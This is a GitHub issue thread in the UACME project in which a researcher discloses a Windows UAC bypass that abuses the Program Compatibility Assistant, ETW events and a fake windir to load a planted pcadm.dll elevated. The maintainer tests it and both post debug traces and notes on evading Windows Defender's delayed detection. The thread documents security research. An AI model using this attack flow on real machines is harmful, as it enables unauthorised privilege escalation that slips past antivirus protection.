hfiref0x / UACME

Defeating Windows User Account Control
BSD 2-Clause "Simplified" License
6.08k stars 1.3k forks source link

UAC bypass via Program Compatibility assistant #111

Closed AzAgarampur closed 2 years ago

AzAgarampur commented 2 years ago

Hello,

I was doing some research on Windows events and ETW and was able to come up with a pretty cool UAC bypass that I wanna share. It abuses ETW events and the Program Compatibility Assistant (via some internal calls derived from reverse engineering) to trigger the creation of a diagnostic module in taskhostw.exe. This task is triggered by an ETW call that specifies which diagnostic module to load (pcadm.dll in this case) from %windir%\system32. This ETW call is performed from the PCA service when it is monitoring the execution of a process and certain conditions/exceptions are met/triggered by ETW calls. So you can see, setting a custom windir does the trick for a UAC bypass. Basic attack flow is like this:

  1. Create fake pcadm.dll
  2. Create fake windir
  3. Launch & monitor target process with PcaSvc which then calls some ETW functions to log certain conditions to PcaSvc.
  4. PcaSvc launches DM process via an ETW event; it loads the fake pcadm.dll. (You can't manually write the ETW event PcaSvc does; you get access denied error returned if you try.)
  5. Bypass UAC

It should work from Windows 7 -> Windows 11, but max version I tested on is Win10 19043.1083. Win7 & 8.0 do not use ETW calls as triggers, they use exceptions. You can find the project here: https://github.com/AzAgarampur/byeintegrity8-uac

Thanks.

hfiref0x commented 2 years ago

Hello,

I will take a look shortly. Probably there is no reason to check if this works anywhere below 20H1.

Edit, tested on 1809 LTSC (17763 full patch)

It runs okay, [$] Exploit successful, I can see elevated cmd. However there is a "Program did not run correctly blah-blah" dialog after exploit execution. Re-running exploit always ends up with "Diagnostic module task did not launch & exit properly. HRESULT: 0x00041306"

AzAgarampur commented 2 years ago

Yeah, the thing is the payload terminates the taskhostw.exe, and for some reason on the Windows versions that use the ETW trigger method (so anything besides 7 & 8.0) the taskhostw.exe will relaunch upon unexpected termination. The main attack exe deletes windir right after payload terminates host taskhostw.exe, so when it is relaunched, it'll show legitimate message. I remember making the program sleep for a while before deleting windir, that made the "Program did not run correctly blah-blah" message go away, however around 10-30 CMD window were spammed open as a result. Still need to figure out how to get past this.

If you want to re-run the exploit, for some reason the WDI task needs to be stopped/started/stopped via Task Scheduler. Don't know why yet.

Edit: Ok, on Windows 8.1 & Up it seems that WDI task state is "ready" and then is changed to "running" if you close the "program didn't run correct" dialog. Then, if you try to re-run the attack, the attack will stop the task, and then the attack will succeed. There is an internal queue that needs to be flushed in order for this taskhostw.exe to be run multiple times in a row. It seems like pcaui.dll uses an ETW event to send a response back to the PcaSvc.

Edit 2: Figured out that you need to implement two exported WDI diagnostic functions, once they are handled it solves all of the problems. Will implement this in source soon.

AzAgarampur commented 2 years ago

Changes pushed, works successfully on same Windows 10. No more hanging taskhost.exe after attack, no more taskhost.exe spam (which causes PCA dialog), and WDI/PCA queues are cleared, so attack can be run multiple times. Haven't tested on Windows 7/8.0 yet.

hfiref0x commented 2 years ago

I will look how I can integrate it (this method looks pretty much complex and cannot be simple copy-pasted in uacme). Any updates will be posted here.

hfiref0x commented 2 years ago

For some reason this doesn't work for me anymore on 1809, reboots doesn't solve this. Something magically broke.

First version of your tool log: Diagnostic module task did not launch & exit properly. HRESULT: 0x00041306 where id is SCHED_S_TASK_TERMINATED

Last version of your tool log: Diagnostic module task did not launch & exit properly. HRESULT: 0x00000000, basically it goes to this loop

    for (int i = 0; i <= 2000; ++i) {
        if (*(PBOOLEAN)pSharedMem == TRUE) {
            taskHijacked = TRUE;
            break;
        }
        Sleep(10);
    }
    if (!taskHijacked)
        wprintf(L"Diagnostic module task did not launch & exit properly. HRESULT: %#010x\n", hr);

and nothing happens in it.

I've tested your versions (first and last) on 21H1 (19043) clean install. Same behavior, except last version shows Diagnostic module task did not launch & exit properly. HRESULT: 0x00041306

I did my own tests with code for uacme, it doesn't work too, call sequence looks like:

00000070    26.61213493 [3896] [UCM] CreateFileMapping success  
00000071    26.61223602 [3896] [UCM] NtMapViewOfSection success     
00000072    26.61295319 [3896] [UCM] CreateEvent(SharedEvent) success   
00000073    26.61488342 [3896] [UCM] ucmxGetPcaMonitorProcess success   
00000074    26.61663246 [3896] [UCM] supStopTaskByName success  
00000075    26.61673164 [3896] [UCM] Fake system32 dir created OK   
00000076    26.61689186 [3896] [UCM] supReplaceDllEntryPoint(PCADLL) success    
00000077    26.61720467 [3896] [UCM] supWriteBufferToFile(PCADLL) success   
00000078    26.61736870 [3896] [UCM] supReplaceDllEntryPoint(PCAEXE) success    
00000079    26.61890984 [3896] [UCM] supWriteBufferToFile(PCAEXE) success   
00000080    30.63086319 [3896] [UCM] supSetEnvVariable(WINDIR) success  
00000081    30.67019463 [3896] [UCM] CreateProcess(Loader) success  
00000082    30.73214340 [3896] [UCM] PcaMonitorProcess(Loader) success  
00000083    30.74528313 [596] [PCALDR] Loader parameter: 1  
00000084    30.74534035 [596] [PCALDR] EntryPointExeModePCAMethod(pcaEtwCall)   
00000085    30.74537659 [596] [PCALDR] pcaEtwCall   
00000086    30.74540520 [596] [PCALDR] EtwEventWriteNoRegistration(1):00000000  
00000087    30.74544907 [596] [PCALDR] EtwEventWriteNoRegistration(2):00000000  

Explanation: Created fake dir, fake pca dll (with all required fake exports), fake windir environment variable, setup shared section/event for interaction Dropped additional exe which will be used as "loader" (made by converting fubuki dll into executable with specially made entry point) Created "loader" in suspended state, called PcaMonitorProcess for it, resumed process After resumed "loader" checks command line and since it is first run it goes to the EtwEventWriteNoRegistration call. It does it successfully and exists.

I assume on this stage PCA task should pickup fake dll which will then launch actual payload and re-run "loader" to stop Wdi task. However as I said nothing happens next to "loader" execution with successful ETW call.

AzAgarampur commented 2 years ago

Can you use WinDbg and start debugging the PCA svchost.exe, and when WinDbg hits initial breakpoint can you enter the command bp[0] pcasvc!AslLogpWriteLog "dA /c100 rdx; g", clear the screen, then run the attack? After you run the attack can you paste the output of WinDbg here?

Also make sure that the attack exes don't exist under HKCU\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Compatibility Assistant\Store, because for some reason, they ended up there for me too...

hfiref0x commented 2 years ago

It seems reason of failure is that PcaSvc service is not running, which is weird. It can't be started or stopped without elevation, thus on systems where this service stopped this method will not work.

I did tests only on 1809 (where I've build environment) and this method (when works) is indeed AlwaysNotify compatible.

Below is trace log of successful execution

00000001    0.00000000  [640] [UCM] CreateFileMapping success   
00000002    0.00004820  [640] [UCM] NtMapViewOfSection success  
00000003    0.00008650  [640] [UCM] CreateEvent(SharedEvent) success    
00000004    0.00064900  [640] [UCM] ucmxGetPcaMonitorProcess success    
00000005    0.00372930  [640] [UCM] supStopTaskByName success   
00000006    0.00404310  [640] [UCM] Fake system32 dir created OK    
00000007    0.00413010  [640] [UCM] supReplaceDllEntryPoint(PCADLL) success     
00000008    0.00441390  [640] [UCM] supWriteBufferToFile(PCADLL) success    
00000009    0.00446590  [640] [UCM] supReplaceDllEntryPoint(PCAEXE) success     
00000010    0.00469960  [640] [UCM] supWriteBufferToFile(PCAEXE) success    
00000011    0.09967080  [640] [UCM] supSetEnvVariable(WINDIR) success   
00000012    0.10502440  [640] [UCM] CreateProcess(Loader) success   
00000013    0.10993090  [640] [UCM] PcaMonitorProcess(Loader) success   
00000014    0.12590240  [1652] [PCALDR] Loader parameter: 1     
00000015    0.12596270  [1652] [PCALDR] pcaEtwCall  
00000016    0.12601760  [1652] [PCALDR] EtwEventWriteNoRegistration(1):00000000     
00000017    0.12607551  [1652] [PCALDR] EtwEventWriteNoRegistration(2):00000000     
00000018    0.12900110  [640] [UCM] Waiting for process finished    
00000019    3.19279027  [4688] [PCADLL] Entry   
00000020    3.19289327  [4688] [PCADLL] szName = TestSectionName SessionId = 1  
00000021    3.19296479  [4688] [PCADLL] OpenFileMapping success     
00000022    3.19304037  [4688] [PCADLL] NtMapViewOfSection success  
00000023    3.19308972  [4688] [PCADLL] NtOpenEvent OK  
00000024    3.19321251  [4688] [PCADLL] Shared parameters read OK   
00000025    3.19538927  [4688] [PCADLL] Payload executed OK     
00000026    3.19706607  [4688] [PCADLL] Loader run OK   
00000027    3.19717932  [4688] [PCADLL] Shared event signaled   
00000028    3.19728565  [640] [UCM] Waiting for event finished  
00000029    3.19733310  [4688] [PCASTUB] WdiGetDiagnosticModuleInterfaceVersion called  
00000030    3.19739771  [4688] [PCASTUB] WdiStubGeneric called  
00000031    3.19788909  [4688] [PCASTUB] WdiStubGeneric called  
00000032    3.21399498  [5824] [PCALDR] Loader parameter: 2     
00000033    3.21409917  [5824] [PCALDR] pcaStopWDI  
00000034    3.21653724  [5824] [PCALDR] CoInitializeEx success  
00000035    4.23619699  [5824] [PCALDR] ucmStopTaskByName success   
00000036    4.23635960  [4688] [PCASTUB] WdiStubGeneric called  
00000037    5.71361399  [640] [UCM] Cleanup, loader regentry    
00000038    5.71374893  [640] C:\Users\JohnDow\AppData\Local\Temp\winver.exe    
00000040    5.71436310  [640] [UCM] Cleanup, loader file    
00000041    5.71441078  [640] C:\Users\JohnDow\AppData\Local\Temp\winver.exe    
00000043    5.71504974  [640] [UCM] Cleanup, fake dll   
00000044    5.71510887  [640] C:\Users\JohnDow\AppData\Local\Temp\system32\pcadm.dll    
00000046    5.71552181  [640] [UCM] Cleanup, fake dir   
00000047    5.71554422  [640] C:\Users\JohnDow\AppData\Local\Temp\system32

P.S. I will take a look more on this on Monday, this code isn't final and need some tweaks.

AzAgarampur commented 2 years ago

PcaSvc allows INTERACTIVE users to start the service, and pcacli!PcaMonitorProcess attempts to start the service if it is not already running. Start with sc.exe is also successful.

image

I don't have an 1809 system at the moment to test it on. Is there a different security descriptor set on the service (on 1809)?

Edit: I just clean installed 1809 (not ltsc), security descriptor allows me to start PcaSvc via INTERACTIVE, and attack works even with it stopped before running it. Also I'd like to say running this via explorer (doubleclick exe on desktop) will break it, as main attack EXE will start to be monitored by PCA if launched that way, so via cmdline is only proper way.

hfiref0x commented 2 years ago

I confused it with sc stop command which fails on this service. That's interesting because after manually stopping/running this service overall behavior returned to "pre-broken" state. I will do more tests on various w10 builds and let you know results.

AzAgarampur commented 2 years ago

Pushed an updated version of the code. Works properly under Win7, 8, 8.1, & most W10 (I don't have VMs of every single W10 version). It take care of PcaSvc now, and the WDI task in its current state.

hfiref0x commented 2 years ago

This behaves unstable. Sometimes this method works perfectly fine. Sometimes it stuck at previously mentioned stage after ETW call where nothing happens next, regardless of registry Store state. Your tool time outs and report "Diagnostic module task did not launch & exit properly. HRESULT: 0x00000000". This is happens randomly and I currently unable find a pattern to reproduce this behavior except it always happens on first launch. For me it looks like something goes into conflict.

This behavior always resets with PcaSvc manual restart or simple stop.

Here are the tests (I don't think Windows patch state affect this method and I post it here just for reference):

17763 - full patch, fresh boot, PcaSvc running, no WinDef method run -> failure, byeintegrity time out, uacme timed out PcaSvc stop, method run -> success PcaSvc stop(and start), method run -> success

19042, no 3rd party software installed, not a full patch, fresh boot, PcaSvc running, WinDef in default state method run -> failure, byeintegrity time out, uacme terminates on waiting (still not figured out why) PcaSvc stop(and start), method run -> success

19043 - full patch, no 3rd party software installed, fresh boot, PcaSvc running, WinDef in default state method run -> failure, byeintegrity time out, uacme terminates on waiting (still not figured out why) PcaSvc stop(and start), method run -> success

Edit: Reason of uacme termination on waiting is Windows Defender detecting it components as malware and killing entire process tree.

Behavior:Win32/Execution.A!ml on loader executed from %temp% Behavior:Win32/UACBypassExp.ZI on main executable at moment when it changes environment variables@windir

WinDef catches this with a huge delay lag that's why it terminates later while waiting for event handle. Ironically (and as usual) WinDef will miss entire exploit if it completes quickly.

hfiref0x commented 2 years ago

BTW, are you testing your code with Windows Defender enabled (including their self-prot/system monitor driver wdfilter.sys)? After physical removal of all Windows Defender components from 19043 w10 your method works fine in uacme, even without restarting PcaSvc.

AzAgarampur commented 2 years ago

Yeah I have excluded WinDefend from all my tests, all ring3 binaries deleted and all kernel drivers too. Also on your 19042/3 full patch, where you say byeintegrity times out, can you send output of steps mentioned here: https://github.com/hfiref0x/UACME/issues/111#issuecomment-881928357 It's strange how restarting PcaSvc makes it seem to work under WinDefend.

Creating custom windir with regedit ends up with regedit being killed under detection, lmao

Edit: 19042, fully updated, fully updated WinDefend, PcaSvc running by default (I didn't start/stop it at all), byeintegrity attack works. At the most, it fails to delete fake system32\pcdam.dll but otherwise it works fine. ucame is detected, and doing the PcaSvc restart doesn't fix anything. Stopping windefend realtime protection allows attack to succeed.

This the uacme log when windefend is ON: image

hfiref0x commented 2 years ago

What is your VM configurations?

VM with 17763 has 16 GB ram, 4 cpu's

VM with 19042 has 4 GB ram, 2 cpu's - everything lags as f., representing typical low budget Windows 10 PC when it have tons of preinstalled bloatware. WinDef here fails into race condition with your ByteIntegrity. It sometimes manages to detect environment variables change, but when it attempt to terminate caller it is already gone, then WinDef attempt to move it to the quarantine, but seems fails too. Fun part - no messages popups anywhere and I can only see this "battle" in the WD logs. Same happens with uacme, if it manages to catch it process when it changes environment variables, then it does block further loader run (as shown in your log above), probably this registry event starts some actions chain in this "next-gen" AV.

VM with 19043 has 8 GB ram, 2 cpu's - WinDef removal noticeable increased performance.

Here is the result you requested. This is from fresh boot of 17763 (where previously this method guarantee to fail when launched first time), uacme run 0000006350d9cd80 "MARK,AhgGenomeGetManifest,648,Failed to create activation context [1813].."

However, when I continue PcaSvc code run it results in successful exploit execution. Not sure what changed. Worth to mention that uacme loader does not have embedded manifest unlike your byeintegrity app.

Here is the result of breakpoint hit when I run your byeintegrity (successful exploit execution) 000000236af7b850 "TRACE,0006,3584,LogEvents,ChainStart,C:\byeintegrity8-uac-master\x64\Release\ByeIntegrity8.exe,Genome,WinBlueRTM,Value,0a000000,Reason,00002273.."

Hmm, could it be that this thing wants a proper manifest and without it something goes crazy in their code? I will try later to add proper manifest for loader.

AzAgarampur commented 2 years ago

My VMs configs are the same as your VM with 19042 (except 3 cpus). I'll see what happens when I give more RAM (max I can grant is 8GB then my actual machine starts to choke).

I removed manifest from byeintegrity and I also get the Failed to create activation context [1813]..", but right after that, PcaSvc uses WinBlueRTM Genome (Win8 behavior). And the attack still works. This is the PcaSvc output of the attack when byeintegrity (WITHOUT manifest) is run (and it successfully exploits).

0000002c`389fe7b0  "TRACE,0000,0000,Service,RAiMonitorProcess, enter.."
0000002c`389fd020  "MARK,AhgGenomeGetManifest,648,Failed to create activation context [1813].."
0000002c`389fbe80  "TRACE,0003,0608,LogEvents,ChainStart,C:\Users\User\Desktop\ByeIntegrity8.exe,Genome,WinBlueRTM,Value,0a000000,Reason,00002073.."
0000002c`389fced0  "TRACE,0003,0000,ResolverManager,DetectorShims,Excluded,0,FirstRun.."
0000002c`389fd0e0  "TRACE,0000,0000,FileRegEtw,Logger_ChainStart invoked.."
0000002c`389fce40  "ERROR,Windows::Compat::Encapsulation::LoggingSettings::QueryOneSettings,245,OneSettingsQuery::Query failed [0x80070002].."
0000002c`389fc9b0  "DEBUG,0000,0000,OneSettingsQuery::Query failed [0x80070002].."
0000002c`389fd250  "TRACE,0000,0000,Service,PcaServiceStartTracking SUCCESS.."
0000002c`389fe7b0  "TRACE,0000,0000,Service,RAiMonitorProcess,SUCCESS app=C:\Users\User\Desktop\ByeIntegrity8.exe.."
0000002c`3997e1d0  "TRACE,0003,0608,LogEvents,ProcessStart,C:\Users\User\Desktop\ByeIntegrity8.exe.."
0000002c`3997e1d0  "TRACE,0003,0608,LogEvents,ChainStartAsync.."
0000002c`3997dd00  "TRACE,0003,0608,LogEvents,Internal,ChainFirstRun.."
0000002c`38cfc940  "TRACE,0003,0608,LogEvents,EtwFromDm,Detector shim,Version message box.."
0000002c`388fcc40  "TRACE,0003,0608,LogEvents,EtwFromDm,Detector shim,Error icon message box.."
0000002c`388fe010  "TRACE,0003,0608,LogEvents,ProcessEnd,ExitCode,0,AbnormalExit,0.."
0000002c`388fe010  "TRACE,0003,0000,LogEvents,ChainEnd,Timeout,0.."
0000002c`388fe010  "TRACE,0003,0000,LogEvents,ChainComplete,Timeout,0.."
0000002c`388febe0  "TRACE,0003,0000,ResolverManager,Dialog,Showing.."
0000002c`388fd8f0  "TRACE,0003,0000,LogEvents,ResolversComplete,ResolversFired,DetectorShim_MessageBoxVersion DetectorShim_MessageBoxErrorIcon,DialogRequests,DetectorShim_MessageBoxVersion,Fixes,None,Flags,0.."
(42c.468): Unknown exception - code 000006ba (first chance)
0000002c`388fd3e0  "TRACE,0003,0000,Telemetry,NoSend,Chain is orphan.."
0000002c`388fd350  "TRACE,0003,0000,MarkEvent,TelemetryDiscarded-OrphanChain.."
0000002c`388fd420  "TRACE,0003,0000,Telemetry,NoDialog,Other dialogs requested.."
0000002c`388fd1e0  "TRACE,0003,0000,UtcEvents,Event discarded,Chain is orphan.."
ModLoad: 00007fff`f1ae0000 00007fff`f1b06000   C:\Program Files\Common Files\Microsoft Shared\Ink\IpsPlugin.dll
0000002c`388ff300  "TRACE,0000,0000,Service,PcapChainCompleteCallback.."

This is from fresh boot of 17763 (where previously this method guarantee to fail when launched first time), uacme run

In the full log that appears on your end, if it does not work with UACMe, I'm assuming the line that says ResolverManager,Dialog,Showing.. does not appear. Is this correct?

Edit: I gave 19042 10.7 GB of RAM, and byeintegrity succeeded and akagi.exe 69 failed again. No notifications from windefend about either. I wanted to take infodump but for some reason virtualbox vm crashes due to null pointer deference on my host (I was at 99.99% memory usage).

hfiref0x commented 2 years ago

You can view WD event log (through eventvwr) for detection's status. For some reason it doesn't show them anywhere else for me. I will try again (with manifest and without) and post results here.

AzAgarampur commented 2 years ago

Ok, according to logs it seems WD 19042 fully updated & fully updated windefend detects byeintegrity as: Win32/UACBypass.Exp.Zl, on windir creation, however it "attempts to take action (which it says it did successfully)" AFTER byeintegrity has already exited, lol.

Whats even more strange is that UACMe is now working, and it is detecting it (same threat name) after UACMe exits, so thats strange.

hfiref0x commented 2 years ago

Here are the logs, 17763 First loader without manifest, second with manifest, both worked well. It is weird but I cannot reproduce bug for now.

00000003`0559cbb0  "MARK,AhgGenomeGetManifest,648,Failed to create activation context [1813].."
00000003`0559ba10  "TRACE,0005,4380,LogEvents,ChainStart,C:\test\BgpJkHmNyt_nL.exe,Genome,WinBlueRTM,Value,0a000000,Reason,00002073.."
00000003`0559ca60  "TRACE,0005,0000,ResolverManager,DetectorShims,Excluded,0,FirstRun.."
00000003`05efddb0  "TRACE,0005,4380,LogEvents,ProcessStart,C:\test\BgpJkHmNyt_nL.exe.."
00000003`05efddb0  "TRACE,0005,4380,LogEvents,ChainStartAsync.."
00000003`05efd8e0  "TRACE,0005,4380,LogEvents,Internal,ChainFirstRun.."
00000003`05dfe410  "TRACE,0005,4380,Chains,LockChain,Success,Guess,ETW,Provider,{EEF54E71-0661-422D-9A98-82FD4940B820},Descriptor,8006,MinTimeDelta,859.."
00000003`05dfcd80  "TRACE,0005,4380,LogEvents,EtwFromDm,Detector shim,Version message box.."
00000003`0559e010  "TRACE,0005,4380,Chains,LockChain,Success,Guess,ETW,Provider,{EEF54E71-0661-422D-9A98-82FD4940B820},Descriptor,8008,MinTimeDelta,859.."
00000003`0559c980  "TRACE,0005,4380,LogEvents,EtwFromDm,Detector shim,Error icon message box.."
00000003`0559dd70  "TRACE,0005,4380,LogEvents,ProcessEnd,ExitCode,0,AbnormalExit,0.."
00000003`0559dd70  "TRACE,0005,0000,LogEvents,ChainEnd,Timeout,0.."
00000003`0559dd70  "TRACE,0005,0000,LogEvents,ChainComplete,Timeout,0.."
00000003`0559e940  "TRACE,0005,0000,ResolverManager,Dialog,Showing.."
00000003`0559d650  "TRACE,0005,0000,LogEvents,ResolversComplete,ResolversFired,DetectorShim_MessageBoxVersion DetectorShim_MessageBoxErrorIcon,DialogRequests,DetectorShim_MessageBoxVersion,Fixes,None,Flags,0.."
ModLoad: 00007ffe`ee040000 00007ffe`ee0d2000   C:\WINDOWS\SYSTEM32\aepic.dll
ModLoad: 00007ffe`fef60000 00007ffe`ff008000   C:\WINDOWS\System32\shcore.dll
ModLoad: 00007ffe`fcfc0000 00007ffe`fd084000   C:\WINDOWS\System32\OLEAUT32.dll
ModLoad: 000001b7`10990000 000001b7`10993000   C:\WINDOWS\SYSTEM32\sfc.dll
ModLoad: 000001b7`10990000 000001b7`10993000   C:\WINDOWS\SYSTEM32\sfc.dll
ModLoad: 00007ffe`ef1a0000 00007ffe`ef1b2000   C:\WINDOWS\SYSTEM32\sfc_os.DLL
ModLoad: 00007ffe`ff7b0000 00007ffe`ffc26000   C:\WINDOWS\System32\SETUPAPI.dll
00000003`0559d150  "TRACE,0005,0000,Telemetry,NoSend,Chain is orphan.."
00000003`0559d0c0  "TRACE,0005,0000,MarkEvent,TelemetryDiscarded-OrphanChain.."
00000003`0559d1a0  "TRACE,0005,0000,Telemetry,NoDialog,Other dialogs requested.."
00000003`0559cee0  "TRACE,0005,0000,UtcEvents,Event discarded,Chain is orphan.."
0000003`0559b810  "TRACE,0008,3584,LogEvents,ChainStart,C:\test\Gaixfe6Jonr5J.exe,Genome,WinBlueRTM,Value,0a000000,Reason,00002273.."
00000003`0559c860  "TRACE,0008,0000,ResolverManager,DetectorShims,Excluded,0,FirstRun.."
00000003`05efddb0  "TRACE,0008,3584,LogEvents,ProcessStart,C:\test\Gaixfe6Jonr5J.exe.."
00000003`05efddb0  "TRACE,0008,3584,LogEvents,ChainStartAsync.."
00000003`05efd8e0  "TRACE,0008,3584,LogEvents,Internal,ChainFirstRun.."
00000003`0559de10  "TRACE,0008,3584,Chains,LockChain,Success,Guess,ETW,Provider,{EEF54E71-0661-422D-9A98-82FD4940B820},Descriptor,8008,MinTimeDelta,813.."
00000003`0559c780  "TRACE,0008,3584,LogEvents,EtwFromDm,Detector shim,Error icon message box.."
00000003`058fe070  "TRACE,0008,3584,Chains,LockChain,Success,Guess,ETW,Provider,{EEF54E71-0661-422D-9A98-82FD4940B820},Descriptor,8006,MinTimeDelta,813.."
00000003`058fc9e0  "TRACE,0008,3584,LogEvents,EtwFromDm,Detector shim,Version message box.."
00000003`058fddd0  "TRACE,0008,3584,LogEvents,ProcessEnd,ExitCode,0,AbnormalExit,0.."
00000003`058fddd0  "TRACE,0008,0000,LogEvents,ChainEnd,Timeout,0.."
00000003`058fddd0  "TRACE,0008,0000,LogEvents,ChainComplete,Timeout,0.."
00000003`058fe9a0  "TRACE,0008,0000,ResolverManager,Dialog,Showing.."
00000003`058fd6b0  "TRACE,0008,0000,LogEvents,ResolversComplete,ResolversFired,DetectorShim_MessageBoxVersion DetectorShim_MessageBoxErrorIcon,DialogRequests,DetectorShim_MessageBoxVersion,Fixes,None,Flags,0.."
ModLoad: 00007ffe`f4d10000 00007ffe`f4da2000   C:\WINDOWS\SYSTEM32\aepic.dll
ModLoad: 00007ffe`fef60000 00007ffe`ff008000   C:\WINDOWS\System32\shcore.dll
ModLoad: 00007ffe`fcfc0000 00007ffe`fd084000   C:\WINDOWS\System32\OLEAUT32.dll
ModLoad: 000001b7`10990000 000001b7`10993000   C:\WINDOWS\SYSTEM32\sfc.dll
ModLoad: 000001b7`10990000 000001b7`10993000   C:\WINDOWS\SYSTEM32\sfc.dll
ModLoad: 00007ffe`ef1a0000 00007ffe`ef1b2000   C:\WINDOWS\SYSTEM32\sfc_os.DLL
ModLoad: 00007ffe`ff7b0000 00007ffe`ffc26000   C:\WINDOWS\System32\SETUPAPI.dll
00000003`058fd1b0  "TRACE,0008,0000,Telemetry,NoSend,Chain is orphan.."
00000003`058fd120  "TRACE,0008,0000,MarkEvent,TelemetryDiscarded-OrphanChain.."
00000003`058fd200  "TRACE,0008,0000,Telemetry,NoDialog,Other dialogs requested.."
00000003`058fcf40  "TRACE,0008,0000,UtcEvents,Event discarded,Chain is orphan.."

This one is with external manifest

00000003`0559bc70  "TRACE,0013,4172,LogEvents,ChainStart,C:\test\h3Ho1f4_p1FoH.exe,Genome,WinBlueRTM,Value,0a000000,Reason,00002273.."
00000003`0559ccc0  "TRACE,0013,0000,ResolverManager,DetectorShims,Excluded,0,FirstRun.."
00000003`05efddb0  "TRACE,0013,4172,LogEvents,ProcessStart,C:\test\h3Ho1f4_p1FoH.exe.."
00000003`05efddb0  "TRACE,0013,4172,LogEvents,ChainStartAsync.."
00000003`05efd8e0  "TRACE,0013,4172,LogEvents,Internal,ChainFirstRun.."
00000003`0559e270  "TRACE,0013,4172,Chains,LockChain,Success,Guess,ETW,Provider,{EEF54E71-0661-422D-9A98-82FD4940B820},Descriptor,8006,MinTimeDelta,828.."
00000003`0559cbe0  "TRACE,0013,4172,LogEvents,EtwFromDm,Detector shim,Version message box.."
00000003`0597e140  "TRACE,0013,4172,Chains,LockChain,Success,Guess,ETW,Provider,{EEF54E71-0661-422D-9A98-82FD4940B820},Descriptor,8008,MinTimeDelta,828.."
00000003`0597cab0  "TRACE,0013,4172,LogEvents,EtwFromDm,Detector shim,Error icon message box.."
00000003`0597dea0  "TRACE,0013,4172,LogEvents,ProcessEnd,ExitCode,0,AbnormalExit,0.."
00000003`0597dea0  "TRACE,0013,0000,LogEvents,ChainEnd,Timeout,0.."
00000003`0597dea0  "TRACE,0013,0000,LogEvents,ChainComplete,Timeout,0.."
00000003`0597ea70  "TRACE,0013,0000,ResolverManager,Dialog,Showing.."
00000003`0597d780  "TRACE,0013,0000,LogEvents,ResolversComplete,ResolversFired,DetectorShim_MessageBoxVersion DetectorShim_MessageBoxErrorIcon,DialogRequests,DetectorShim_MessageBoxVersion,Fixes,None,Flags,0.."
ModLoad: 00007ffe`f15e0000 00007ffe`f1672000   C:\WINDOWS\SYSTEM32\aepic.dll
ModLoad: 00007ffe`fef60000 00007ffe`ff008000   C:\WINDOWS\System32\shcore.dll
ModLoad: 00007ffe`fcfc0000 00007ffe`fd084000   C:\WINDOWS\System32\OLEAUT32.dll
ModLoad: 000001b7`10990000 000001b7`10993000   C:\WINDOWS\SYSTEM32\sfc.dll
ModLoad: 000001b7`10990000 000001b7`10993000   C:\WINDOWS\SYSTEM32\sfc.dll
ModLoad: 00007ffe`ef1a0000 00007ffe`ef1b2000   C:\WINDOWS\SYSTEM32\sfc_os.DLL
ModLoad: 00007ffe`ff7b0000 00007ffe`ffc26000   C:\WINDOWS\System32\SETUPAPI.dll
00000003`0597d280  "TRACE,0013,0000,Telemetry,NoSend,Chain is orphan.."
00000003`0597d1f0  "TRACE,0013,0000,MarkEvent,TelemetryDiscarded-OrphanChain.."
00000003`0597d2d0  "TRACE,0013,0000,Telemetry,NoDialog,Other dialogs requested.."
00000003`0597d010  "TRACE,0013,0000,UtcEvents,Event discarded,Chain is orphan.."
ModLoad: 00007ffe`f15e0000 00007ffe`f1672000   C:\WINDOWS\SYSTEM32\aepic.dll
ModLoad: 00007ffe`fef60000 00007ffe`ff008000   C:\WINDOWS\System32\shcore.dll
ModLoad: 00007ffe`fcfc0000 00007ffe`fd084000   C:\WINDOWS\System32\OLEAUT32.dll
AzAgarampur commented 2 years ago

This is strange. I don't think manifests really change the behavior (internal/external), but I'm trying to get a reproducible scenario where neither byeintegrity & uacme work on first attempt, but they do on the following attempts. Will follow up when I have some more info.

On the VMs where that behavior occurs, can you tell me your WinDefend's security intelligence version?

hfiref0x commented 2 years ago

After physical wipe from 19043 I only have 19042 with WinDef at this moment.

19042

1.343.1266.0 From 7/19/2021 8:49 AM

Well it's fun after I updated WD to 1.343.1329 it listed me detection's from yesterday with uacme/byeintegrity etc, crashed, restarted and now seems working. Obviously this thing produces a lot of noise in system that seems affects everything.

hfiref0x commented 2 years ago

I've ported your Win7 support and tested it with Win7 SP1. It is working well.

Also I tested it with Win8.1 full patch - method doesn't work here. It goes into first loader start, completes ETW calls with success and everything ends here. PcaSvc itself looks different.

AzAgarampur commented 2 years ago

Can't reproduce problem on Win 8.1 (9600, fully updated). Both byeintegrity & latest uacme dev356 work with windows defender on. Windows defender does detect uacme, but by the time it tries to do anything, it is too late and attack has already finished.

For your 8.1 are these two entries the latest ones in the event viewer after running the attack? (Application & services -> Microsoft -> Windows -> Application-Experience -> Program-Compatibility-Assistant) image

Note: when using uacme, the exact same event log entries appear, except the loader exe is used as filename

hfiref0x commented 2 years ago

I re-tested w8.1

Fresh boot latest uacme -> time out after ETW calls, nothing in event logs. latest byeintegrity ->

c:\test>ByeIntegrity8.exe
Diagnostic module task did not launch & exit properly. HRESULT: 0000000000

c:\test>sc query pcasvc

SERVICE_NAME: pcasvc
        TYPE               : 20  WIN32_SHARE_PROCESS
        STATE              : 4  RUNNING
                                (STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x0

nothing in event log.

Restarting PcaSvc ->

latest uacme -> success, event log entries


Exe: C:\test\OQwFU0BsJGekH.exe

ResolverName: DetectorShim_MessageBoxVersion

Exe: C:\test\OQwFU0BsJGekH.exe

ResolverName: DetectorShim_MessageBoxErrorIcon

latest byeintegrity - success, event log entries same with byeintegrity8.exe

P.S. There is no Windows Defender on this machine, it is completely removed.

P.P.S. This machine was pending update installation. After completing Windows update and reboot I can execute both uacme and byeintegrity8 with success.

Maybe pending update process somehow affects PcaSvc? I don't remember if w10 other machines were also trying to update, but it possible.

AzAgarampur commented 2 years ago

I found a pattern, I don't think it's the updates -- its the time when we execute the attacks. I'm assuming you're trying both uacme and byeintegrity within a second or two of the system starting and logging in. I did the same thing, and neither of the attacks work anymore. However, if you wait a bit then try again, they work fine.

I think this also explain the behavior you mentioned in https://github.com/hfiref0x/UACME/issues/111#issuecomment-882327402 about how it works after PcaSvc restart. I think it worked for you after you installed updates because the update engine did some stuff in the background which allowed time to be burned before you got to log in and run the attack. I'll try to see what's going on right when system starts.

hfiref0x commented 2 years ago

